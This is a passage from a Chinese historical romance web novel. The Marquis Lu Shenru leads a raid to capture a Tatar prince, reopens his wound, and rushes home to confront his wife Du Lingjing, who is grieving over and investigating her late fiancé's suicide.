他开了口。 但不是朝她,只是冷着斜看了陆侯一眼。 “总之,蒋某要如何行事,不需要陆侯来教。你自去扶持你的慧王,我蒋枫川只拥立雍王殿下入主东宫!陆侯与我,朝堂上见吧!” 他说完,叫了惠叔,最后看了杜泠静一眼,跟她点了点头,离开了永定侯府。 好像他此番来侯府,是因为两王间站队的事而已。 他没说旧事,还编了个似真非假的借口,陆慎如反倒意外地默了默。 他又看向了她的妻,见她目光从蒋枫川身上收了回来,不知她眼下是何情形,问了一句。 “娘子刚从寺庙里回来?没与郡主在寺中用斋饭?” 原本是要用的,她恐怕要到再晚一些才会回来,但年嘉的母妃裕王妃寻年嘉有事,她亦怕侯爷会提前离京,她们就早早散了。 她跟他点了点头,默认她只是刚回来而已。 他没再多问,看了一眼天色,柔声,“那既然空着肚子回家来了,我来陪娘子吃饭吧。” 吃完饭,他约莫就要走了。 杜泠静点了头。 两人回了正院当中,他吩咐了灶上提前把饭摆上,秋霖沏了茶上前,杜泠静接过茶来,想送到他手边,却不知怎么,手下轻轻一颤,热茶瞬间泼了过来。 她慌乱地要收手,怕热茶泼到他右臂上,他右臂有伤,反应不迭。 不想他见她只往自己身前收去,而那热茶则往她身上落来,他忽的伸出右手,将她手中端不稳的热茶,径直打去了一旁。 啪嗒一声,茶碗碎裂在了远处的地上。 杜泠静发愣着,却还是见两人身上,都沾了些许茶水。 他身上沾了茶水,他还动了右臂,她急问去。 “你没事吧?” 她还顾着他有没有事。 陆慎如只看着她,“没有人把热茶往自己身上泼。” 他盯着她,惠叔方才真的没跟她说什么吗? 他心中隐隐有些不安,虽他尽力不想让她知道蒋竹修自戕之事,可事情似乎在朝着他不愿的方向行进,渐渐透出不受控的模样来。 若她知道,究竟会怎么想? 他盯着她,似在看她在想什么。 杜泠静一时回不出他的话,还是秋霖闻声快步进来,见茶碗摔了,还以为侯爷和夫人吵了起来,但看向两人,却见两人不似吵架的样子。 夫人有些怔忪,侯爷看了夫人一眼,又叫了她,“收拾了吧。” 秋霖连忙收拾了碎瓷片退了出去,艾叶则为两人各自取了干净衣裳。 “侯爷,夫人,换件衣裳吧。” 两个小丫鬟盈壁和香溢上前帮两人更衣。 房中静悄悄的,只有衣料摩擦的声音丝丝响起。 陆慎如不禁想到他受伤之后,他的娘子总想帮他穿衣脱衣,但他不让她动手,只让仆从侍卫来办,她不乐,抿着唇看他,不知他为何如此。 其实原因很简单,他娶她回家,从不是让她来伺候他的,他怎么能让她做这些事呢? 陆慎如不禁向一旁也在换衣的娘子看去,她半低着头不知在想些什么。 白软的耳朵露在挽起的青丝之下,他不由想起了他受伤的那晚。 王太医的嘴巴告诉她,他中的暗箭还带了毒,她一听就吓到了。 她吓得眼睛红红的,就在那晚,她忽的扑在了他身上。 那是她第一次主动抱他,主动投在他怀里,依靠他,又抱着他的脖子,把小脸埋在他胸前。 她扑在他怀中,抽搭哭到眼泪见他胸前的衣襟都打湿,他将她团团拢入怀中,可他却那一时候,怔着不知所措了。 他难以想象,她也有会主动上前抱住他的一天。 真是不敢想。 一连几日都过的如在梦中一般。 漱石亭上,下了些雨,她安静坐在石桌对面,向他看来,彼时灯中的高光打在了他脸上,她莫名看他许久,直到他出声问去,“娘子在看我什么?” 她脸上突然露出几分羞赧,白软的小耳泛了红,如红霞往脸上飘来,她竟然有些不敢再继续看他了。 不过她还是嗓音极柔地开了口。 “夫君真是英俊,世间可比拟的男子,应该没有了。” 她眸光带着羞意,落在他眉宇间。 他怔了不知多久。 那些日,真的如同幻沫一样,而眼下,他莫名有了幻沫即将被戳破的感觉。 一旦她也如同蒋枫川一样,认为蒋竹修的死,就算不是他所为,也与他脱不开关系。 她还会似那几日一样,主动投入他怀里,轻柔地叫一声“夫君”,道一句,世间比他英俊的男子,没有了…… 她还会吗? 她还会对他笑吗? 被茶水沾湿的衣衫换下,新衣换上身来。 陆慎如收回目光浅浅闭了闭眼睛,没留意他的娘子,亦悄然向他看了过来。 杜泠静的耳中,还交织着六郎说得那些话,说建了六年的归林楼,是他来了京城就为她建起来的书楼,而他备受众议空悬许久的侯夫人之位,也是一年一年为她而留。 他等她,不是一朝一夕的事情。 她不禁想起她上轿嫁他时穿的再是合身不过的嫁衣,想起归林楼里给她布置得如同青州勉楼的书房,想起他撇开繁杂的公事带她奔马,又顶住杨家的压力把她要拂臣齐齐救出来,还有…… 她说不清他为她做过多少事,还有他给她的一切,她亦说不清,他都准备了多久。 但她知道他是谁了。 若从今夏往回算去,他是九年前,藏在勉楼里养伤的那个少年! 身形不一样,声音更完全不同。 他是史公子。 不,不是史,应该是石,是陆惟石! 太久了,太久了,而“史公子”从那遥远的九年前,承诺她离开勉楼、此生再不相见之后,就再也没有过任何音信。 她早就把他忘了。 可他眼下,就站在她身边,臂上还受了替她挡下致命一箭的伤。 杜泠静眼帘颤了颤,默默看着他的侧脸,一息又一息。 他似乎有所感应也转头看了回来。 但这时,崇平快步到了门外。 “侯爷,魏世子来了,说眼下有些状况,您恐怕得立时离去。” 他要离京,去西北,还要上战场了。 杜泠静一下回了神。 男人亦微怔,“现在?” 崇平道是。 男人一默,转头看向娘子,“不能陪你吃饭了……” 吃饭只是再小不过的事,她见他衣衫已穿好,她走上前来,接过盈壁手中的腰带,替他束在了腰上。 他低头向她看来,丫鬟们都退了下去。 男人伸手,将身前的妻子拥进了怀中。 他鼻尖低着蹭在她头顶黑长的细发上。 他的胸膛炽热,哪怕隔着刚穿的衣衫,杜泠静都能感觉得到他心口的热向外散来。 史公子,陆惟石。 她心头快跳,但他已经松开了她。 “我得走了,泉泉在家等我回来。” 他迈开步子看了她一眼,走到门口又看了她一眼,这才跟她笑了笑,撩了帘子大步离去。 杜泠静目光追他出了门。 外间很快没了他的声音。 她静默立在廊下。 今日所听到的一切,在她心口起起又伏伏。 惟石,三郎…… 她想她需要一个答案。 第83章 一队人马星夜离开京畿, 向西北边关奔去。 侯爷走了,府内看似一切如常,但却莫名地沉静了下来。 夫人独自坐在西厢房改成的书房里, 手下的古书一个字都没修进去,她无法凝住思绪在笔端, 反而提笔落下两个字—— 自戕。 人会在什么样的情形下, 选择结束自己尚未走完的生命,提前撒手? 墨迹在纸上晕开,像是沾染到了人的心头,沉如布满头顶的阴云。 杜泠静不认为是惟石使手段迫使三郎至此, 她相信惟石不会行此劣事。 可是,却也无法排除是惟石的强势等待, 无形之中压迫三郎选择自尽。 三郎性子温和谦逊,不争不抢,可侯爷恰与他相反,他坚定强势, 他不轻易更改意志, 他想要, 就明目张胆地要,同时既能沉得下心神来等待, 亦能耐得住心思蛰伏。 杜泠静闭起眼睛,秋霖劝她去睡下, 更鼓反复响起,天色已经很晚了。 可她睡不着, 她只看向落在笔尖的这两个字。 到底应是怎样的真相? * 连着跑了一夜的马,天亮之前稍事休歇了片刻。 魏琮派了身边的一位姓何副将陪同侯爷一同前往西北,他刚从西北军中而来, 对关内关外的情形都了如指掌。 陆慎如浅应了口水,叫了他过来问话。 不外乎问些关于那鞑靼九王的事情,此人当年围困永定军的时候,是春秋正盛的年纪,但如今十数载以后,他又受过重伤,想来也已老迈。 “但此人不能留,最好是活捉,若能提前探明他的行踪,突袭制胜,再好不过。” 陆慎如道此一句,夜色化进他眸中。 何副将连声道是,“就怕此人警惕,见势先跑。” 陆慎如听了却哼了一声,“那是自然,但若是令他主动随阵上前,就未必能跑这么快了……” 诱敌深入。 他随即吩咐了何副将几句,何副将一听,眼睛都亮了起来。 从前只听闻侯爷用兵独到,但却不曾有幸效力侯爷身侧,今次闻言,何副将连声道好又道是,但也稍有顾虑。 “此法虽好,但万一被那九王逃脱,他只怕短时间内都不会再出现。” 但战场上瞬息万变,难以确保就一定能捉住他。 确实很难确定,但陆慎如道,“我亲自上阵。” 何副将一听更加激动,若侯爷亲自上,那九王就算一时逃了,也早晚陷落。 “只是侯爷还有伤在身。” “无妨。” 男人道完这句,有吩咐了些事下去,让人准备这场诱敌突袭之仗。 有片阴云挡住了月光,山林里昏昏暗暗地令人不安。他们明日不便白日停留,要加急跑马,此刻只能又歇了一阵。 陆慎如闭了眼睛,便不禁想到家中。 不知他走之后,蒋枫川有没有折回去,告诉她娘子关于蒋竹修自尽之事。他是吩咐了崇安严防死守那蒋六,但是总有一种不安的感觉。 他可能拦不住,她早晚会知道,就在他离京这些日里。 林中刮起了一阵风,飞洒走石地乱了视线。 他恍然想起蒋竹修过世的那年,他听闻消息怔了许久,时间比他料想的要早。 他颇为等了几日,在蒋竹修办丧之后,才去了一趟青州。 前来吊唁的人还没走尽,青州蒋氏一族上上下下,都因这位最有前程的解元英年早逝而悲痛。 蒋六是最不能释怀他兄长早逝的人,一直在说这不可能,明明大夫说他哥还能撑到下一年。他也觉得很奇怪,叫了崇平去暗暗地查。 而他自己去寻了泉泉。 他看见她的那时,她就站在院外竹林的寒风里,风吹起她身上白色的衣角。 她虽未嫁给蒋竹修,可却为她的三郎服了妻子之丧,她通身披麻戴孝,单薄地站在冷风中,连脸色唇色都是白的。 他无法上前,只能在她身后默然看着她。 她似乎已经流尽了眼泪,低头扶着竹子,好似下一息就要倒在竹林里。 彼时他这年头刚刚掠过,便见她身形一踉跄,密密的竹林将她的身形扶住三分,可终究无法彻底将她抱住,她向旁倒去。 陆慎如一步上前,她倒进了他怀里,疲累的眼睛闭了起来,人已经昏了过去。 “泉泉……” 恰惠叔来找她,见状疾步赶了过来,待又在她身侧,看见他将她抱在怀中,愣一愣。 “侯爷?” 她父亲过世的那年,惠叔跟在蒋竹修身侧,见过他。 惠叔慌乱地跟他行礼,他显然是秘密前来,不便现身于人前,而蒋家还有诸多宾客,不便接待他。 他见怀中的人昏迷不醒,干脆将她抱回了自己的落脚院中。 惠叔不敢多言,只能快步跟上,又唯恐外人看到,紧张不已。 毕竟蒋竹修刚离世,她是蒋竹修的未婚妻。 好在他住处离蒋家不远,就在附近。 他甫一将她抱起来,便发现人比他预料中还轻,像是悲伤将她整个人都掏空了,纤瘦到他抱着她甚至有点硌手。 他让崇平替他解下披风,盖在她身上,将她拢在怀中。 待到了房中,他没舍得松开,抱在坐在帐中,让她倚在他怀里,急促请了郎中隔着帐子给她把了脉。 郎中说她只是一时脱力昏迷,开了副成药,他让崇平去买了,要给她喂到口中的时候,她却不肯张嘴。 他摩挲着她的肩膀哄着她,反复试着给她喂药,但她就是不肯喝。 “这是何故?”他不由问了郎中。 郎中不便进来,看到他二人样貌,只能在帐外又诊了脉。 他道她,“恐是悲伤过度,伤了心神,颇有些……” “怎样?!”他问 郎中轻声,“娘子怕是无意留在世间了……” 话音落地,一室寂静。 她不想独活,想顺着这寒冬腊月里的风,就随着蒋竹修去了。 他愕然向她看去,见她双唇仍旧紧闭着,被他抱在怀里的身子冷如寒冰。 他眸光发颤动不已。 就这么在意那蒋谦筠吗? 没有他,在这世间再无可以留恋? 她无法回答他,郎中说她身子还不到那等地步,若是扎针,过一刻钟就转醒了,也就能喂得进药。 可惠叔却从外面跑了进来,说秋霖阮恭他们发现姑娘不见了,正在着急找她,恐等不了许久。 她还闭着双眼与双唇,面色苍白泛青。 他看了又看,直接让人把药取了过来。他径直将那药汁含在口中,落唇在她冰凉的唇上。 她还不欲张开,他却非要将药喂进她嘴里。 她不想吃药,闭着的眼角落了泪。 他抬手替她抹掉,又将药含住,喂进她嘴中。 她渐渐有了转醒的意识,却抽泣地哭着,似乎想要从他怀中躲开。 但他揽着她的肩膀,只将她扣在自己怀里,直到将药喂完。 郎中再诊脉,“姑娘应是无虞了。” 外面秋霖阮恭他们,找不到她已是急的乱转,她也就快转醒。 他在最后喂药之外,落唇吻在她的眼角上。 她坠在眼角的泪微咸。 她又低泣着抗拒地要转过头去,但他不许,将这一吻深深印在她眼角眉下,噙走她微咸的眼泪,才最后看了她一眼,起身离开。 他将院子腾退出去,抹掉关于他的痕迹,留给了她。 之后又在青州多停了三日,才离开。 蒋竹修是走了,可又没完全走,甚至差点将她生的意志带走。 他不敢强迫她,只能等上一年又一年再一年。 毕竟在她心里,那人是扎根在她心中的唯一。 …… 山林里飞沙走石消停下来。 陆慎如回望了一眼身后京城的半边天,唇边仿佛还残留着她当年的眼泪。 他微微抿唇。 不知她今夜,在侯府家中是否安眠? 但他得走了,他立时去吩咐崇平传信西安都司和行都司各部,前往西安等待。 “早料理完,早日回京。” 他吩咐,崇平领命。 他压下心中翻腾的不安思绪,重新上马往西北边关奔去。 * 京城。 杜泠静在城中的茶馆里,约见了祝奉。 祝奉没想到她会专门见自己一回,眼下听见她问一些关于谦筠死前的事情,祝奉不甚明白,说自己并不曾听闻什么特别的事,“我接到谦筠过世的传信,没想到这么早,颇为意外。” 言下之意,他也完全不知道三郎自尽的事。 杜泠静心道连六郎和惠叔都不知道,祝奉不知也不奇怪。 饶是如此,亦如希望之火破灭,她也没能从祝奉处得到答案。 但祝奉却思来想去,与她说了几句,关于谦筠十分关注朝堂的事情。这事杜泠静知道,只是她心思都在藏书上,与三郎一起讨论朝局的时候不多,三郎似乎也无意告诉她许多。 祝奉不知道更多关于三郎的事了,她连几日又拜访了几位三郎生前的旧友,都没得到答案。 她只能又去找了惠叔,问他三郎可还有什么手札之类的东西留下。 惠叔却道,“夫人也是知道的,三爷不想留太多东西缠绵人间,那些手札都烧了,老奴也不记得还有了……” 杜泠静酸了眼眶。 惠叔将她眼睛红着,连忙道,“三郎留下的,除了书册之外,其实还有许多朝廷邸抄小报,还有些关于朝中时局的评议之类。但因着与时局相关,这些也烧了不少,留下的都被收进了库房里。至于旁的散碎笔记什么,都在青州老家,在三爷书房里。” 在三郎书房里…… 他走之后,不管是他爹娘,还是六郎,从不曾动过他书房里的东西,一切如旧,杜泠静那些年想念他的时候,也去看过,坐在他日日读书的椅子上,默默坐着,又趴在他的书案上,仿佛能问到他身上墨香与竹香交织的气息。 杜泠静返回了侯府,将崇安叫了过来。 “安侍卫,我想回一趟青州。” 速去速回,在侯爷从西北回京之前,就赶回来。 她想亲自去三郎书房里再看一遍。 她想知道他到底为什么会做出这样的选择。 她要回青州自己寻找答案。 但她把话说了,崇安吓了一大跳。 她跟崇安解释自己不是要走,会赶在侯爷而之前回来,甚至不用告诉侯爷,毕竟他往西北还要上战场,他不需要知道。 但崇安无论如何都不同意。 “侯爷有吩咐,夫人决不能离开京城!” 崇安是被吓坏了,哪怕杜泠静说她别人都不带,只带着崇安与侯府侍卫回去,也不行。 她心口闷闷,见无论如何都说服不了崇安,只能道。 “那你万万不要告诉侯爷,莫要耽误他在前线的事!” 她是这么吩咐的,但崇安却记起侯爷前几日走前吩咐过,说在家中看好夫人,夫人有任何动向,立时向侯爷汇报。 之前夫人离开京城去保定就拂党的消息,就搁置了一天才告诉侯爷,侯爷极其不快,这一次崇安长了记性,没再听从夫人,速速将消息递给侯爷。 不过陆慎如还在一路往西奔马,终于顶着炎夏的日头,到了宁夏关城。 他只见了几个心腹将领,将此番准备活捉九王的事说了来。 众将先见到侯爷秘密赶来,便是一振,接着听闻要捉那鞑靼九王,更是兴奋起来。 * 关外。 连绵起伏的群山之中,有部落驻扎于此。 下面的人陆续带着炙烤得流油的羊肉,与烈辣美酒往帐子里送来。 那部族的首领当下让人割下最好的一块,递给了一旁一个年迈的人。 “九老,我等在你面前还是稚嫩了些,这数月与交战,还是多亏了您。” 那首领递上割肉的匕首,有给那人碗中满了酒。 “九老从前,可是差点灭了永定军的人,当年的威风,在整个大漠都响当当,怎么不听您提提当年风光旧事?” 他说着,帐中其他部将都凑了上前,吆喝让九老说一说。 那九老,也就是鞑靼九王,却没有什么谈兴,老迈的疤痕纵横的脸上,露出了一个淡淡的笑。 “汉人有句话,好汉不提当年勇。”他道,“都是天意罢了。” 说完,喝完了酒,独自走出了帐子。 众人见他不肯多言,倒也没追,只说起近来宁夏关城的事,上次他们重伤了刚到宁夏的忠庆伯世子,但那魏世子岂是好相与之辈,将他们几个部族的联军打得七零八落。 他们好不容易这才聚起些气来,只想着何时回去宁夏复仇。 九王却没与他们议起此事,只是独自走到帐外。 明月高悬在山巅。 他想起了汉人的弘启十四年,半数永定军近乎折损完的那场仗,他确实在里面起了至关重要的作用。 若论风光,自是风光,但是,其实那非是他自己的本事。 而是有人掌握了永定军出关的消息,偷偷传给了他。 他从领口拉出一块骨雕圆牌,那上面刻着一个极其繁复的纹样。 若是陆慎如或者魏琮此刻看去,一眼便能看出那纹样,与细作所漏的纹样一模一样。 而九王看着这骨雕圆牌,这是他那四十余年前覆灭的部族,最后留下的东西了。 当年,就是有人持此图样找到了他,他这才相信了那消息,而这消息确实准确无疑,险些令永定军一蹶不振。 有此图样之人,必然也是部族的遗脉,而且能准确有此图样的,也只能是部族当年的贵族。 但部族覆灭,贵族亦消失无影,怎么会打到汉人内部,获得永定军秘密的动向? 这么多年,他其实一直在暗中查问,彼时给他送来消息的到底是何人。 渐渐的,他也有些猜测了。 持此图样的那位贵人,必定是汉人朝廷里位次极高的人。 而汉人,包括永定军,好像还没发现他…… 九王笑了起来,将脖颈上的骨雕圆牌看了又看,这才又回到了帐中,一壶酒喝完呼呼睡去。 不想次日下晌醒来的时候,见部族首领同一种将领跃跃欲试。 他问是何事如此兴奋,那首领连道。 “听闻那永定侯陆慎如要来西北整顿军务,那宁夏的守城副总兵怕之前多有失利,令魏世子受伤,那陆侯会拿他开刀。准备带人突袭咱们,弄些军功好于那陆侯交差。” 那首领连声大笑,“他想拿我们的人头交差,要突袭我们,好啊,那就让他们有去无回!” 他问九王此事可行否,九王问他消息是否可信。 “可信!可信!听说那陆侯确实要来西北,已经令人都往西安去,咱们这个时候打他一巴掌,然后逃之大吉,我就看那陆侯脸上难不难看!” 他哈哈大笑,九王还有些犹疑。 但他与陆氏之间深仇数不清,当年这位陆侯的祖父陆老侯爷,差点将他送上黄泉。 他眼下刚恢复,还不宜与陆慎如正面相碰,可若能借此令陆氏难堪,有助于他尽快自己掌握兵马,东山再起。 众人又将消息确认再三,两日后天还没亮,他们就提前埋伏在了宁夏关城外。 过了一个时辰,果见有兵马出动。 据闻那副总兵并未亲自出马,怕出事,只让手下几个不太行的不将奇袭。 众人都憋着笑。 等到见汉人兵马出了关,向此地行进而来。 部族首领一声号起,埋伏半夜的众人,直直向前扑去。 九王并未杀上前去,只在远处眺望。他只见那些汉人被他们这一伏击,全露出丢盔卸甲的样子,而众鞑靼部将则四处追敌,转瞬间七零八落。 看着是乘胜之势,但他心里咯噔了一下。 谁料就在这时,有大军从四面八方合围而来。 黄沙扬起,那阵仗如同主将亲自率兵而至。 宁夏兵马虽多,但一息之间调兵出关,除非紧急,小小副总兵可做不得主。 那么是谁人? 九王心头更跳,他脑海中忽然浮现出一人。 听闻即将来到西北的永定侯,陆慎如! 他再管不了其他人,让人护着他,调转马头就飞奔要逃。 但陆慎如就是奔着他来的,歼灭一个部族只是顺手为之。 他命何副将带兵分四路急追。 但那鞑靼九王不愧是在老侯爷手下也能逃出生天的人,何副将率众追逐竟不得力,不得不下令放箭射马。 一众箭矢下去,护他的人坠马了几个,但此人却越跑越快。 “侯爷,快追不上了!” 前面就深入关外山脉腹地。 陆慎如亦未想到,此人反应如此之快。 但他再不容此人逃跑,可令人放箭射杀,可就不能活捉了。 他忽的叫了崇平,“拿我弓箭来!” 何副将一惊,侯爷肩上还有伤,崇平亦惊,但还是把弓箭递了过去。 两人之间侯爷拉弓搭箭,毫无受伤之势。 下一息,只听一声颤鸣,那箭矢破风而去,更是追风而至。 砰地,就死死钉进了那鞑靼九王的大腿里。 那人一声惊呼,几近坠马,但他求生之意甚强,竟然稳住了。 陆慎如冷笑,又欲再射一箭,但何副将与崇平皆呼,“侯爷不可!” 不过须臾的工夫,他臂上伤处新生的血肉,因那气力十足的一箭,彻底崩裂,血色染满了肩头。 再射也未必能中了,只会伤的更重。 陆慎如亦知,肩头的伤,还是给了那九王继续逃窜的机会。 他手下紧攥。 不过此人中他这一箭,已是逃不了了。 何副将请命前去追击,他吩咐,“不急,务必活捉!不要令他丧命。” 说完,崇平只见他肩头血滴滴答答落下来,急急护他回了城。 不到一个时辰,那埋伏的鞑靼部族被剿灭殆尽,关军大盛,但何副将去追鞑靼九王还未回来。 陆慎如料想他是跑不了,但想要活捉,恐要费些工夫。 不过他肩头的伤,一连来了三个军医,都面色难看。 “侯爷那一箭实在是太过厉害。” 陆慎如拉弓搭箭的时候,根本没想许多。 可此刻三个军医都道,“侯爷之前刚长出的血肉全部撕裂了,甚至裂得更深,止血都颇为困难,侯爷恐怕要静养至少月余。” 陆慎如回头看了后肩一眼。 难怪有点疼。 但他哪有月余的工夫静养? 京中还有许多事,而且娘子独自在京,他心里总不踏实。 他只道,“先把血替我止了,其余的之后再说。” 边关军医在他面前不敢多言,只能连忙止血,他又转而叫了崇平。 “我伤口撕裂的事,回去不要告诉夫人。” 崇平应下,他又问了一句。 “家中可有夫人的消息传来?” “暂时还没有。” 没有消息,或许是好消息,陆慎如略松口气。 三个军医又折腾了一阵,终于替他止了血,包扎了起来,侍卫拿了干净衣衫给他换上。 他眼角扫过,“我领兵作战,何时穿过新衣?” 他领兵作战贯穿合身的旧衣在里,从不穿新衣。 那侍卫闻言这才发现自己手里拿了件新衣,崇平立刻上前,“谁人将新衣放到侯爷箱笼里?” 走之前他吩咐过只取旧衣,突然出现件新衣,令人惊诧。 陆慎如亦皱了眉,侍卫却突然想了起来。 “回侯爷,这是夫人放到里面来的,应是夫人从庙里给侯爷求来的平安衣。” 陆慎如意外了一下,“夫人……” 但他旋即意识到了什么,定睛看向那侍卫。 “夫人是何时将此衣放到了我的箱笼里。” 侍卫记得清楚,“就是您出京那日下晌,您在远岫阁小厅里待客,夫人彼时进卧房放了衣裳,后在卧房又停留了些时候才离开。还吩咐属下,因着放的是平安衣,先不要告诉侯爷。” 崇平还不知是何情况,但陆慎如怔在了当下。 他在小厅见蒋枫川的时候,她就在卧房当中? 小厅与远岫阁卧房紧连,能听得见里间的话语声。 可她在远岫阁许久,彼时什么也没说,他还以为她只是刚从寺庙里回来。 肩头扯断的伤口越发疼了起来,丝丝漫向心口。 所以她什么都听见了,但是什么都没说,为什么没说呢? 他脑中有些混乱起来。 就在这时,外面有侍卫前来,接着有人传信。 “侯爷,京中府邸来了消息。” 崇安的消息。 陆慎如心口一跳,连着肩上的痛,令他心慌了几分。 她都听见了,她隐而不发的原因,是不是想等他不在京城,然后离开? 他不想听到这个消息。 但等来人上前,回禀了他。 说夫人心绪极其不佳。 说夫人近来见了几乎每日都见蒋解元生前的旧友。 说夫人,想回青州。 话音落地,陆慎如闭起了眼睛。 喉头有什么涩涩发阻的,就死死梗在他喉头。 肩上的伤终于漫进了他的心头里。 他终于知道她为何隐忍不发了。 方才有一瞬,他还以为她怕他上了战场会分心受伤。 原来不是。 她只是想等他走,再回去她的青州,去寻她的三郎! 陆慎如手下攥得噼啪作响。 他忽的起身,再不管那伤口好坏,直接穿起了衣裳。 他吩咐了宁夏副总兵,“抓到那鞑靼九王,给我送到京城去!” 说完,大步就往外去。 宁夏众将皆吃了一惊,副总兵连忙问。 “侯爷这要回京?何时啊?” 男人没回,扬鞭打马出了宁夏城。 他用三天的工夫将西安诸事安置完毕,接着再无休歇一日,掉马向东,直奔回京。 原本撕裂的、要静养月余的肩上,再没有了任何修养长出新的血肉的时间,他只用厚厚的布带缠住不断渗透的血。 他在马背上,只向京城的方向看去。 她就这么想回青州,不过就是因为蒋竹修埋在青州。 “你只想回去找他,可曾想过我?!” * 京城。 杜泠静在侯府每一夜都睡不下,只能暂时住去了澄清坊。 崇安拦不了此事,只能点了人手将澄清坊围住。 京城的暑热已经很重了,杜泠静睡不好也就罢了,连饭都吃不下,尤其近几日,随意吃上几口,就不免想吐。 她算着距离侯爷回京的时日,少说还得半月。她就先在澄清坊住些日子吧。 她住到了与父亲旧时一起住的中路厢房里。 东路是侯爷刚刚为她扩出来的崭新的一路宅院,而西路则是三郎在她家中暂住时,住过许久的地方。 澄清坊虽好,是她自己的家,但她被夹在了东路与西路之间,脚步既没能轻易踏入西路,也没敢随便进到西路。 她又想了些法子打听了关于三郎的旧事,还是无解。 秋霖来劝了她,“既然是自尽,夫人就当作三爷是自愿的,不行吗?” 自尽当然是自愿的。 但平静地赴死,和痛苦地自戕,是两件完全不同的事。 “如果三郎是万般无奈之下,悲苦地选择自杀,我岂不是在自欺欺人?” 她在三郎的无奈悲苦之上,还继续装不知道地与侯爷在一起,那么三郎的死算什么呢? 而她心中郁郁不得解,心下为三郎悲哭,这对惟石来说又算什么? 都不公平。 唯有她弄清楚三郎自尽的原因,才是对两个人都公平! 她出不了京城,只能派阮恭替她回了一趟青州。 杜泠静独坐在父亲的正房的廊下,艾叶端来了凉糕,她看了一眼,胃里就一阵翻腾。 “夫人不吃东西怎么成?要不要找大夫瞧瞧?” 但杜泠静摇头。 秋霖知道她的心思,突然想到什么。 “活人不解的事情,夫人何不问问过世的人?说不定入梦可解!” 杜泠静一愣。 三郎刚过世的时候,她思念成疾,在勉楼的书中看到一入梦的法子,便穿了素静的白衣,在房中摆了与他紧密相连之物,晚间谦筠真的曾入梦几回。 太久了,久到好像上辈子的事。 杜泠静差点想不起来了。 她素来不太信怪力乱神,但走投无路之际,似乎唯有一信。 她从中路走了出来,东路院门开着,里间新种的夏花绚烂,她默默看了几眼,终是转身去了西路院中。 西路如春,连这样盛夏的季节里,也还留存着几分春日的清凉,谦筠在京的时候,住在西厢房里,从侧边过去就连着后院的竹林。 秋霖翻遍她的箱笼,翻开侯府针线上为夫人做的如花般绚烂多彩的衣裳,才在最下面,翻出一套白色素衣。 杜泠静换在身上的瞬间,站在西路西厢房里,已觉似乎有熟悉的感觉停在她手心。 三郎刚过世的时候,她几乎日日都如此,穿上素衣,染了竹香,她只觉好像有人缓缓伸出他并不健壮的手臂,但他手臂修长,亦能将她完全抱进怀里,给她平静与安心。 此刻竹香亦在漫散,她站在西厢房里,不禁唤出了声。 “三郎……三郎!你听见我的声音了吗?” 房中无人回应,但她眼泪已经流了下来。 “三郎,你能不能告诉我,为什么要选择这样一条路?” 她颤着哭泣,颤着问出声。 但天还没黑,他注定无法入梦,也注定无法解答。 但眼泪不曾停住,她抱进了自己的肩膀。 然而就在此时,外间突然混乱了起来,吵杂的声音传到房中,打乱了室内安静的竹香。 杜泠静还没听清是发生了何事,却只听到一个熟悉的脚步声,每一步都重重踏在她心上,直奔门前而来。 她愣住,下意识快步往外迎去。 是侯爷……他回来了! 受伤没有?!赢了没有?! 但走到门前,忽然看到自己这一身白衣,瞬间意识到了什么。 她骤然停住脚步,但外面的人已到了门前。 “夫人?” 杜泠静口舌发干,心下快跳。 而立在急奔回京,立在门前的男人,看着这西路的西厢房。 崇安拦着不让她走,她就住进澄清坊这西路的西厢房里,是不是? 如果他没弄错的话,这里是蒋竹修从前在杜家借住的地方吧。 男人眸色冷了起来,他脚步到了门前,他唤了门内他自己的娘子,但她毫无任何回应。 他手下控制着,才没拍在门上。 他只沉着嘶哑的嗓音。 “你把门打开。” 这次她回应了,却道,“不……” “不?” 男人肩上伤处又痛了一下。 他听见她道。 “你先回去,我此时不便……” 杜泠静还穿着白衣,房中皆是竹香,如何能便?他一定会多想! 但她不开门,门外的男人闭了闭眼睛,哑声笑了一声。 “不便?” 他问她,“你我夫妻,拜过天地,圣旨赐婚,到底有什么不便?” 他嗓音彻底低哑,“还是说,这房间只许蒋竹修住,只配他拥有,而我不配踏入?打搅了他?!” “不是……” 隔着一道门内,杜泠静胸腔内翻腾,她不由捂住了口鼻,可却止不住慌乱的眼泪的眼泪流下。 “不是的,惟石……” 可他只发了狠问,“真不是吗?!” 话音落地的下一息,他忽的推门而入。 门内有杜泠静进来之前安放的门栓。 他甫一感到有门栓阻滞,越加冷笑出声。 下一息,他双臂灌力,砰然推开了厢房的门! 门栓断裂落下,杜泠静看到了他冷厉不定的神情。 陆慎如亦看到了他的娘子。 她穿着一身如当年为蒋竹修守孝时一般的白衣。 素净的白衣贴合着她的身,而整个房中,染满了竹子的气息。 她就站在浓郁气息之中,连每一缕发丝都染满了属于蒋竹修的竹香。 男人颤眸盯着他的妻子,一息又一息。 他忽的轻声问。 “就这么想他?” 杜泠静彻底慌乱了起来。 她怎么都没想到,他会提前回来,还就在今日。 而她不想让他看到这一切,想劝他走,但他偏要进来。 她眼泪不止,“惟石……” 他眼睛红透了,那些年里为蒋竹修流的泪还不够吗? 她甚至差点为那人撒手人间去死。 他以为她嫁给了他,渐渐能把那人忘了。 可是没有,根本没有! 他突然问她。 “我算什么?” “什么算什么?”杜泠静不知他的意思。 他看住她,又问了一遍。 “我在你心里,到底有几分?” 她也曾主动投入他怀中,也曾抱住他的脖颈哭泣,也曾柔声唤他一声夫君,还曾告诉他,说天底下的男子,再没有人比他更英俊…… 他只问。 “泉泉到底有几分在意我?是否与他蒋竹修一比,我陆慎如就不值一提了?!” “你别这样说,绝不是不值一提!” 但她说什么他都听不见了,他眼眸颤着,亦有水光轻闪,他不住地问着她心里埋藏许久的问题。 “如果他蒋竹修没死,如果他还能回来,与你而言是不是再也不需要犹豫,立刻弃了我,头也不回跟他走?!” “不,不会……” 杜泠静反复否认,但他只摇头。 “不会吗?不是吗?” 眼泪早已模糊了杜泠静的视线。 男人亦痛苦地抿唇盯着她。 他突然问了一句。 “你可还能想起,我究竟是谁?” 杜泠静眼睛酸痛到难耐,外间的风闯进来,吹散了房中的竹香。 她早已想起他是谁了。 她说出了他那时的名字。 “史公子。” 陆慎如见她全想了起来,更是笑了。 痛意不知是从肩后,还是从心头,蔓延到四肢百骸。 那个他再也不想提及的过去,他此刻他无所谓了,他直接说了出来。 “对,史公子。” 他微顿,“就是那个被你厌弃不已的史公子。” 他就是那个九年前的史公子,是那个闷在勉楼的隔层里默默养伤的少年,那个被她讨厌到看都不想多看一眼的,被她撵走的人! 